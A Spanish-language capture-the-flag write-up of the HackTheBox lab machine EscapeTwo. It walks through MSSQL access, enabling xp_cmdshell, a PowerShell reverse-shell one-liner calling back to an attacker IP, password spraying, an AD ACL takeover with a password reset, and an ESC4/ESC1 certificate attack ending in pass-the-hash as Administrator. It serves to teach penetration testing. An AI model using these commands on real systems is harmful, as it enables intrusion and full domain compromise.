Post

EscapeTwo - Hackthebox - Season7

Hackthebox EscapeTwo Active Directory Guia en español

EscapeTwo - Hackthebox - Season7

Escaneo NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
nmap -sC -sV --open 10.10.11.51
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 14:27 CET
Nmap scan report for 10.10.11.51
Host is up (0.055s latency).
Not shown: 987 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-21 13:28:38Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-01-21T13:29:58+00:00; +35s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-01-21T13:29:58+00:00; +35s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2025-01-21T13:29:58+00:00; +35s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-21T12:19:05
|_Not valid after:  2055-01-21T12:19:05
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-21T13:29:58+00:00; +35s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-01-21T13:29:58+00:00; +35s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 34s, deviation: 0s, median: 34s
| smb2-time: 
|   date: 2025-01-21T13:29:23
|_  start_date: N/A

Análisis

Es un Active Directory Domain Controller (DC01.sequel.htb) con servicios típicos:

  • DNS (53/tcp)
  • Kerberos (88/tcp)
  • LDAP (389/tcp, 636/tcp, 3268/tcp, 3269/tcp)
  • SMB (445/tcp)
  • RPC (135/tcp, 593/tcp)

Lo más interesante es que tiene SQL Server 2019 (puerto 1433) en su versión RTM 15.00.2000.00 También tiene habilitado WinRM (puerto 5985) que permite administración remota

Algunos detalles importantes:

  • Dominio: sequel.htb
  • Hostname: DC01.sequel.htb
  • Sistema Operativo: Windows Server (versión 10.0.17763)

Acceso MSSQL

Como en el CTF se nos proporcionan unas credenciales podemos probar a verificar con que servicios se puede acceder.

1
2
3
crackmapexec smb 10.10.11.51 -u 'sequel.htb\rose' -p 'KxEPkKe6R8su'
crackmapexec winrm 10.10.11.51 -u 'sequel.htb\rose' -p 'KxEPkKe6R8su'
crackmapexec mssql 10.10.11.51 -u 'sequel.htb\rose' -p 'KxEPkKe6R8su'

Entre estas opciones encontramos que el servicio MSSQL es accesible.

1
impacket-mssqlclient sequel.htb/rose:KxEPkKe6R8su@10.10.11.51 -windows-auth

SQL

Tras un rato indagando vemos que el usuario proporcionado solo tiene permisos de consulta, pero si observamos los roles dentro de las bases de datos observamos un usuario “sa” que tiene permisos de administrador.

Por ahora nada más interesante por aqui.

Probamos a acceder por SMB para ver si conseguimos alguna información.

1
impacket-smbclient sequel.htb/rose:KxEPkKe6R8su@10.10.11.51

SMB

Vemos dos archivos xlsx que pueden ser interesante, si accedemos al contenido vamos a encontrar buena información.

Excel

Perfecto ahora con esta información si nos fijamos en el usuario “sa” su contraseña por lo que podemos probarla en el servicio MSSQL o winrm para ver si conseguimos acceos.

CRACKMAP

No tiene acceso SMB pero si cuenta con acceso MSSQL ya que el error que indica es de certificados y no de login.

1
impacket-mssqlclient sequel.htb/sa:'MSSQLP@ssw0rd!'@10.10.11.51 -windows-auth

Shell reversa de MSSQL

Ahora que estás como ‘sa’ (sysadmin), podemos habilitar y usar xp_cmdshell para ejecutar comandos del sistema.

1
2
3
4
5
6
7
8
9
10
-- Primero habilitamos las configuraciones avanzadas
sp_configure 'show advanced options', 1;
RECONFIGURE;

-- Luego habilitamos xp_cmdshell
sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Probamos si funciona con un whoami
EXEC xp_cmdshell 'whoami';

Ahora que tenemos capacidad para ejecutar comandos del sistema, podemos usar la herramienta de shell reversa de MSSQL para ejecutar comandos en el sistema.

1
EXEC xp_cmdshell 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(''10.10.16.13'',9000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';

Nota: Recuerda habilitar el puerto de escucha en tu máquina linux.

SQL

SHELL

Explorando el sistema.

Una vez que tenemos acceso a la shell, podemos explorar el sistema y ver si conseguimos alguna información.

Dando vueltas e investigando podemos encontrar el directorio de un usuario llamado “ryan” del que no tenemos acceso pero parece tener permisos para winrm.

SHELL

Aunque esta cuenta no tiene muchos permisos en el sistema podemos intentar acceder a la configuración de sql y ver si conseguimos alguna información.

SHELL

Viendo estos archivos de configuración vemos otra contraseña hardcodeada para un usuario llamado “sql_svc”

Podemos añadirlos a los archivos de usuarios y contraseñas que ya tenemos e intentar hacer un password spraying.

TERM

1
crackmapexec winrm 10.10.11.51 -u users.txt -p passwords.txt

CRACKMAP

Parece ser que el usuario “ryan” tiene la misma contraseña que el servicio “sql_svc” y podemos probar a acceder al sistema por winrm.

1
evil-winrm -i 10.10.11.51 -u ryan -p 'la_contraseña_encontrada'

User Flag

Flag

Análisis del usuario

WINRM

Ryan es miembro del grupo “Management Department” y tiene acceso al “Certificate Service DCOM Access”. Una vía de ataque podría ser a través de los certificados.

1
2
3
4
5
6
# Ver servicios de certificados
Get-Service -Name "CertSvc"
certutil -dump

# Ver si tenemos permisos para solicitar certificados
certutil -CATemplates

Vemos que:

  • CertSvc está corriendo
  • Tenemos acceso denegado a las plantillas de certificados pero vemos que existen

Vamos a ver que usuarios hay en el dominio.

1
2
3
Import-Module ActiveDirectory

Get-ADUser -Filter *

AD

La cuenta ca_svc tiene SamAccountName diferente al DisplayName (Certification Authority)

Viendo los usuarios y sabiendo que podemos visualizar los certificados podemos intentar obtener los permisos de ryan sobre el administrador de los certificados.

1
Get-Acl "AD:\CN=Certification Authority,CN=Users,DC=sequel,DC=htb" | Select-Object -ExpandProperty Access | Where-Object {$_.ActiveDirectoryRights -match "WriteOwner"}

ACL

Esto significa que podemos:

  • Modificar la contraseña del usuario ca_svc ya que tenemos control sobre los permisos de certificados
  • Usar esas credenciales para solicitar un certificado como otro usuario (por ejemplo, Administrator)
  • Usar ese certificado para obtener un TGT y escalar privilegios”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Obtener el ACL actual
$acl = Get-Acl "AD:\CN=Certification Authority,CN=Users,DC=sequel,DC=htb"

# Crear el objeto de identidad para ryan
$sid = (Get-ADUser ryan).SID
$identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$sid)
$adRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, $adRights, $type, $inheritanceType)

# Añadimos la nueva regla al ACL
$acl.AddAccessRule($rule)

# Establecer ryan como propietario
$acl.SetOwner($identity)

# Aplicar los cambios
Set-Acl "AD:\CN=Certification Authority,CN=Users,DC=sequel,DC=htb" $acl

Set-ADAccountPassword -Identity "ca_svc" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Password123!" -Force)

Ahora que hemos modificado la contraseña del usuario ca_svc podemos obtener el certificado.

Escalada de privilegios

Vamos a listar las ACLs de los certificados que puedan ser vulnerables.

1
certipy-ad find -vulnerable -u ca_svc@sequel-htb -p Password123! -dc-ip 10.10.11.51

ACL

Ataque de certificado ESC4 para obtener certificado de administrador

Reference

ESC4 ocurre cuando un usuario tiene privilegios de escritura sobre una plantilla de certificado. Esto, por ejemplo, puede ser aprovechado para sobrescribir la configuración de la plantilla de certificado y hacer que la plantilla sea vulnerable a ESC1.

Así que, efectivamente, realizamos un ataque ESC1 sobrescribiendo la plantilla.

Copia original del certificado:

Como vamos a sobrescribir el certificado para realizar este ataque, haré una copia de seguridad.

1
certipy template -username ca_svc@sequel.htb -p Password123! -template DunderMifflinAuthentication -save-old

Ejecutar el ataque ESC1

1
certipy-ad req -username ca_svc@sequel.htb -p Password123! -ca sequel-DC01-CA -target DC01.sequel.htb -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51

ESC1

Autenticación como administrador

1
certipy-ad auth -pfx administrator.pfx -domain sequel.htb 

ESC1

1
evil-winrm -i 10.10.11.51 -u administrator -H $hash 

Root Flag

Flag

This post is licensed under CC BY 4.0 by the author.